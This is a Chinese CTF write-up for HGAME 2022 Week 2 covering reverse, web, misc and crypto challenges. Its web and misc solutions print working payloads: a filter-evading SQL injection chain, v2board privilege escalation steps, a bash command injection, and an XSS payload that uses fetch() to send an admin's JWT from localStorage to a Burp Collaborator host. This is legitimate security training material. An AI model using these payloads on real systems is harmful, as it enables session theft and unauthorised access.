HGAME 2022 Week2 writeup by ripple
REVERSE
math
比较有意思的一道线性代数题(bushi
下载附件,放入IDA反汇编。
看到scanf,输入的变量我重命名了一下:
核心加密逻辑:
到这里一开始很奇怪,找不到savedreg和input之间的关系啊。
后来结合猜测与调试的验证,其实savedreg就是input。
用IDA远程连接虚拟机进行调试,具体参考了IDA动态调试ELF-软件逆向。
打断点后先随便输入了一下hgame{123123131312}
然后开始调试,找到savedreg的地址0x00007FFEA552F590,结合加密函数逻辑,减去0x170得到新地址:0x7ffea552f420
找到新地址的位置:0x7ffea552f420
发现正是我们input所在的位置!
所以大胆猜测savedreg就是input。
后面的判断是v11要等于v12。
看加密过程,很像(就是)矩阵乘法啊!照应标题。
下面简单推导,v12、input、v10均为五阶矩阵。
v12 = input × v10
input =v12 × v10^(-1)
input就是我们的flag。
后面就是解密了,我是采用了一个在线算矩阵的网站:矩阵计算器
最后的结果是:
但显然存在精度的问题,所以用python代码进行了矫正,代码如下:
1 | flag=[] |
得到flag:hgame{y0ur_m@th_1s_gO0d}
WEB
Git Leakage
由题目不难猜出是一个git泄露的题
访问/.git发现确实有git泄露
使用GitHack-master
1 | GitHack.py http://week-2.hgame.lwsec.cn:32003/.git/ |
得到一个Th1s_1s-flag文件。
16进制编译器打开得到flag:hgame{Don’t^put*Git-in_web_directory}
v2board
顺着搜索v2board我们可以发现v2board1.6.1版本存在提权漏洞。
这个漏洞还是比较新的,复现难度也不高,太恐怖啦!尤其是自己复现一遍之后,真切感受到了网络安全的重要啊。
复现思路参考网站:v2board越权漏洞复现
先注册一个普通用户的账号
然后登陆,登陆后使用F12可以查看到返回头里的authorization
记录下authorization的值,退出登录,打开burpsuite开启拦截。
输入账号密码登录,burpsuite拦截到请求头。
向请求头里加入authorization头发送
这一步的目的是让服务器将普通用户的Authorization头写入缓存中。
关闭拦截,成功登录。
最后只要带上这个Authorization头即可访问所有的管理员接口。
开启拦截,带上Authorization头访问/api/v1/admin/user/fetch后关闭拦截。
进入到/api/v1/admin/user/fetch即可找到admin的token:39d580e71705f6abac9a414def74c466
用hgame包裹即是flag:hgame{39d580e71705f6abac9a414def74c466}
Commodity
一开始是这样一个登录的界面。
题目的描述里面有提示:面板登陆用户名是user01,密码……忘了,反正是个比较好猜的密码,我记得它是8位数的,有字母也有数字
可见是一个8位弱密码的爆破。
这里可以在网上找一些字典来爆破,也可以直接试一些常见的8位弱密码。
我这里是查了一下然后试出来了,密码是admin123。
登录后进入这样一个界面:
输入1~8可以查看对应的一些商品:
猜测是SQL注入。
使用burpsuite发现是用POST方法传参,参数名是search_id。
后面为了方便F12使用hackbar来进行POST传参。
首先判断后端闭合方式:
输入1%23返回hard disk 1
输入’1’%23返回hard disk 1
输入1’%23返回报错
输入1’)%23返回报错
判断后端闭合符为数字型。
后端有一些字符被过滤了,测试过程就不一一说明了,下面是我payload里采用绕过方法:
or and from where:双写绕过
database() select union :大写绕过
*空格:/1*/绕过
= : like绕过
有些既可以双写也可以大写绕过就不细说了。
采用的是联合注入:
第一步:判断查询结果有多少列
1/*1*/oorrder/*1*/by/*1*/3 :正常回显(order里包含了or,采用双写绕过)
1/*1*/oorrder/*1*/by/*1*/4 :错误回显
说明有三列。
第二步:显示数据库名
-1/*1*/Union/*1*/Select/*1*/1,Database(),3
第三步:显示se4rch数据库中的表名
-1/*1*/Union/*1*/Select/*1*/1,(Select/*1*/group_concat(table_name)/*1*/frfromom/*1*/infoorrmation_schema.tables/*1*/whwhereere/*1*/table_schema/*1*/like/*1*/‘se4rch’),3
第四步:显示5ecret15here数据表中的列名
-1/*1*/Union/*1*/Select/*1*/1,(Select/*1*/group_concat(column_name)/*1*/frfromom/*1*/infoorrmation_schema.columns/*1*/whwhereere/*1*/table_schema/*1*/like/*1*/‘se4rch’/*1*/anandd/*1*/table_name/*1*/like/*1*/‘5ecret15here’),3
第五步:显示5ecret15here数据表中的f14gggg1shere
-1/*1*/Union/*1*/Select/*1*/1,(Select/*1*/f14gggg1shere/*1*/frfromom/*1*/5ecret15here),3
flag:hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}
从零开始的SQL注入生活,折磨一天多终于出了!QAQ
Designer
下载附件是网站的源代码,查看
我们可以看到真正的flag被藏在admin用户的jwt里面,因此这道题目的就是窃取到admin用户的jwt。
打开网站随便输入一个用户名注册先看看有什么漏洞。
在不同输入框里输入后preview我们会发现在Box shadow一栏里存在XSS注入漏洞
如图,我们的输入被嵌在了style中。
再次查看源代码,发现过滤名单:
这里是直接把输入清空了,所以不能双写绕过,大小写试了试也不行,找了很多方法,最后采用的是unicode转码绕过。(在线转unicode网站)
同时找到让前后闭合的方式 : 3px 3px #000;”/a> <a”
最后点preview,发现这样可以成功弹窗:
3px 3px #000;”/a><script>\u0061lert(“XSS-test”);</script><a”
再去源代码看看存jwt的字段是什么:
是叫token
localStorage被过滤,我们可以用unicode绕过:
3px 3px #000;”/a><script>\u0061lert(\u006cocalStorage.getItem(‘token’));</script><a”
点preview测试一下。
成功弹出了自己的token。
这里我们的token里面有一个假的flag。
接下来就是要想办法让admin在浏览我们的按钮时把自己的token发过来。
用到了Burpsuite的Burp Collaborator client。
由于fetch被过滤,转码了一下
一开始我用的payload是:
3px 3px #000;”/a><script>\u0066etch(‘https://4injdqamr55icfqpn5da88kutlzbn0.burpcollaborator.net',{method:'post',body:\u006cocalStorage.getItem('token')});\<a”
结果发现存在问题,就是自己preview的时候,能收到自己的token,但是点share时,admin发看来的头里没有带token。
下面是admin的返回,无token:
后来才知道是自己没看源码,我们要先知道admin在访问链接时做了什么,才能找到正确的方法。
在源代码中找到我们点share后发生的事:
可以看到admin是先访问了 http://127.0.0.1:9090/button/preview 这一个有我们恶意代码的页面,再登录,后面进行了一次点击。
而我们的注入在第一步渲染按钮页面时就已经生效,这时候admin还没登录,不带有token,自然返回里没有token咯。
由此,我们的一种思路是在admin点按钮时去执行恶意代码,正好可以添加一个”href”的属性。
最终payload:
3px 3px #000;”href=”javascript:\u0066etch(‘https://1moghnejv29fgcumr2h7c5orxi3arz.burpcollaborator.net',{method:'post',body:\u006cocalStorage.getItem('token')})"a="
preview测试时就是一点击就会返回。
然后share给admin点点。
成功返回admin的token
最后去在线网站解析一下:
得到真正的flag:hgame{b_c4re_ab0ut_prop3rt1ty_injEctiOn}
还有一种思路是csrf(客户端请求伪造),也值得一试。
MISC
Tetris Master Revenge
Tetris Master由于存在非预期解,修正后降了分数改为Tetris Master Revenge,所以这题的方法也可以兼容Tetris Master,在Tetris Master题解中展示非预期解。
根据提示:调小终端字体大小后用 ssh ctf@week-2.hgame.lwsec.cn -p 端口号 连接,密码为hgame
下载附件得到源码,查看源码后找到提示:
看来是要在这里输入一些东西让利用master执行我们想要的代码。
在paint_game_over()函数中找到关键:
if [[ “$master” -eq “y” ]] && [[ “$score” -gt 50000 ]]; then
elif [[ “$master” -ne “y” ]] && [[ “$score” -gt “$target” ]]; then
这是条件表达式,可以发现如果输入y后获得50000分理论也可取得flag,但并不推荐这样做。
条件表达式中由于使用了[[和gt,使其仍然能够加载表达式。
于是我们可以在询问Are you tetris master?[y/n]后输入:
x[$(cat /flag)]
Please input your target score:时随便输入一下。
然后快速输掉游戏就可以得到flag了!
flag:hgame{Bash_Game^Also*Can#Rce^reVenge!!!!}
Tetris Master
用Tetris Master Revenge的方法也能解,下面展示非预期:
在询问Are you tetris master?[y/n]时直接ctrl+C退出
发现ssh连接还未断开。
再cat flag就行了
flag:hgame{Bash_Game^Also*Can#Rce}
Sign In Pro Max
超级签到题
下载附件signin.txt:
1 | Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ== |
第一部分是base系列加密,用CyberChef点魔术棒解决:
2、3、4部分是md5的爆破,采用网站md5在线加密解密注册登录后查询(题目里这些值可以用这个免费查到):
附上其他的网站(一些值需付费)
Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder
md5解密 MD5在线解密 破解md5 (pmd5.com)
分别得到:f91c 4952 a3ed
最后那一串我们可以看到相同位置有个5存在,后面还有标点,猜测位一句加密过的话,位置不变的话想到凯撒密码。
采用在线网站,位移5位时成功得到明文:
Part5 is 0bc0ea61d21c, now put all the parts together, don’t forget the format.
至此5个部分全部得出,但组合时别忘记格式(uuid)
最终flag:hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}
CRYPTO
Rabin
题目即是考点,Rabin密码体制是对e=2的RSA的一种修正。
题目给出了p、q、c,足以解密。
解密脚本参考自https://www.bilibili.com/read/cv13467317
脚本为:
1 | import libnum |
得到flag:hgame{That‘5_s0_3asy_to_s@lve_r@bin}
RSA 大冒险1
4个不同有漏洞RSA加密组合题
远程连接一下就可以得到密文和公钥
具体的对应可以在相应的py文件中查看
challege1是用了三个素数,先除掉一个r后得到p*q(也就是n)
我得到的n是180326030445057103882510226931211081193929158820681452896727282807017
已经比较小了,用在线网站直接分解(所用网站:分解素因数工具 - 整数分解最多为70位 )
写脚本decode1.py:
1 | from gmpy2 import invert |
得到challenge1答案:m<n_But_also_m<p
challenge2在代码中我们可以发现每次加密后只换了q,p、e一直都不变。明文显然也不变。
那我们只需要得到两组n,求这两个n的最大公约数即为p,再求q就行了。
解密脚本decode2.py:
1 | import gmpy2 |
得到challenge2答案:make_all_modulus_independent
challenge3在代码中我们可以看见e = 3,指数e太小了,采用低加密指数攻击
这个脚本参考了网站
decode3.py:
1 | #python3 |
得到challenge3答案:encrypt_exponent_should_be_bigger
challenge4代码中我们发现每次加密都只换了一个e,p、q、n均不变
考虑获得两组数据后共模攻击。
脚本参考了网站共模攻击部分
decode4.py:
1 | import gmpy2 |
得到challenge4答案:never_uese_same_modulus
最后在各个部分check,分数到达4后得到flag:
hgame{W0w_you^knowT^e_CoMm0n_&t$ack_@bout|RSA}
第二周折磨结束了,三天喘喘。收获很多,学到新知识了。QAQ
路漫漫~